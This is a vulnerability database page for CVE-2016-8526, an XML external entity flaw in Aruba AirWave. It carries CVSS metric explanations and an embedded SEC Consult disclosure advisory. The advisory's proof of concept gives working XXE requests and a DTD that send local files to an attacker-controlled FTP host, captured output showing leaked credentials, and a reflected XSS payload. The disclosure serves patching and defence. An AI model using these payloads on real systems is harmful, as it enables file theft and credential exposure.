CVE-2016-8526 : Detail

CVE-2016-8526

8.8
/
High
A05-Security Misconfiguration
0.54%V3
Network
2018-08-06
18h00 +00:00
2018-08-07
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to an XML external entities (XXE). XXEs are a way to permit XML parsers to access storage that exist on external systems. If an unprivileged user is permitted to control the contents of XML files, XXE can be used as an attack vector. Because the XML parser has access to the local filesystem and runs with the permissions of the web server, it can access any file that is readable by the web server and copy it to an external system of the attacker's choosing. This could include files that contain passwords, which could then lead to privilege escalation.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-611 Improper Restriction of XML External Entity Reference
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4 AV:N/AC:L/Au:S/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41482

Publication date : 2017-02-28 23h00 +00:00
Author : SEC Consult
EDB Verified : Yes

SEC Consult Vulnerability Lab Security Advisory < 20170301-0 > ======================================================================= title: XML External Entity Injection (XXE), Reflected Cross Site Scripting product: Aruba AirWave vulnerable version: <=8.2.3 fixed version: 8.2.3.1 CVE number: CVE-2016-8526, CVE-2016-8527 impact: high homepage: http://www.arubanetworks.com/ found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Aruba, a Hewlett Packard Enterprise company, (formerly "Aruba Networks, Inc.") is a networking vendor selling enterprise wireless LAN and edge access networking equipment. The company has over 1,800 employees and is headquartered in Sunnyvale, California. Aruba's core products are access points (APs), mobility controllers, and network management software through their Airwave Management Platform product." Source: https://en.wikipedia.org/wiki/Aruba_Networks Business recommendation: ------------------------ SEC Consult recommends not to use the product in a production environment until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) XML External Entity Injection (CVE-2016-8526) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information / files with malicious XML code. Note that as Aruba's passwords are encrypted with a shared static key, privilege escalation to admin role is also possible! Multiple different functions are affected by XXE. According to the vendor another researcher has also found one of the XXE issues, hence credits go to them as well. Vendor: "Although the team hasn't reproduced this yet, I’ve had other reports come in through our bug bounty program last month about XXE issues in VisualRF. One of the issues you reported is the same, and you reported three others that we haven't seen yet." 2) Reflected Cross Site Scripting (CVE-2016-8527) Due to the lack of input validation, an attacker can insert malicious JavaScript code to be executed under a victim's browser context. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2016-8526) a) XXE in VisualRF Backup Sites Login as any user role (including read-only/standard user) Navigate to VisualRF > Floor Plans > Select 'View' under 'Network' section. Select a campus (e.g. Default Campus) > Select 'Edit' > Select action 'Export Floor Plans' > Ok POST /visualrf/backup_sites HTTP/1.1 Host: <AirWaveHost> [...] xml=<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY %25 foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1">%26%65%78%66%69%6c%3b</visualrf:sites> $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///<removed>"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_102@ > 230 more data please! < TYPE I > 230 more data please! < CWD [General] [...] < ; set global WLC credentials > 230 more data please! < wlc_user: <username> > 230 more data please! < wlc_pasw: <password> [...] b) XXE in Visual RF Site Restore $ cat version.xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/version.dtd">%foo;%param1;]> &exfil;<backup backup-time="Mon Nov 21 14:44:41 CET 2016" build="${svn.build}" plan-mode="false" version="8.0.0"/> $ zip backup_sectest.zip version.xml adding: version.xml (deflated 16%) And then just upload the backup_sectest.zip via the restore functionality. POST /nf/visualrf_siterestore HTTP/1.1 Host: <AirWaveHost> [...] ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A Content-Disposition: form-data; name="zip"; filename="backup_sectest.zip" Content-Type: application/zip [.. backup_sectest.zip ..] ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A Content-Disposition: form-data; name="import" Import ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A-- c) XXE in Visual RF Verify POST /visualrf/verify/<Site-ID> HTTP/1.1 Host: <AirWaveHost> [...] <?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%foo;%param1;]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1"><site [...] />&exfil;</site></visualrf:sites> 2) Reflected Cross Site Scripting (CVE-2016-8527) Note that the XSS payload can be used with either HTTP parameter 'start' or 'end'. GET /visualrf/group_list.xml?aps=1&start=%3ca%20xmlns%3aa%3d'http%3a%2f%2fwww.w3.org%2f1999%2fxhtml'%3e%3ca%3abody%20onload%3d'alert(/XSS/)'%2f%3e%3c%2fa%3e&end=500&match HTTP/1.1 Host: <AirWaveHost> [...] HTTP/1.1 200 OK [...] <?xml version='1.0' encoding='UTF-8' standalone='yes'?> <results> <error>For input string: "<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(/XSS/)'/></a>"</error> </results> Vulnerable / tested versions: ----------------------------- The following versions are affected by the identified vulnerabilities which were the most recent versions at the time of discovery: Aruba AirWave version <8.2.3.1 Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through [email protected] 2016-11-23: Vendor: Established communication over encrypted channel and asked for extending the disclosure date due to the upcoming holidays 2017-01-18: CVE-2016-8526 was assigned for the XXE issue, and CVE-2016-8527 for the reflected XSS issue. 2017-02-21: Aruba AirWave 8.2.3.1 was released. 2017-03-01: Coordinated disclosure of the security advisory. Solution: --------- Update to version 8.2.3.1 or later. http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt https://support.arubanetworks.com/Documentation/tabid/77/DMXModule/512/EntryId/23738/Default.aspx Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017

Products Mentioned

Configuraton 0

Hp>>Airwave >> Version To (excluding) 8.2.3.1

References

http://www.securityfocus.com/bid/96495
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41482/
Tags : exploit, x_refsource_EXPLOIT-DB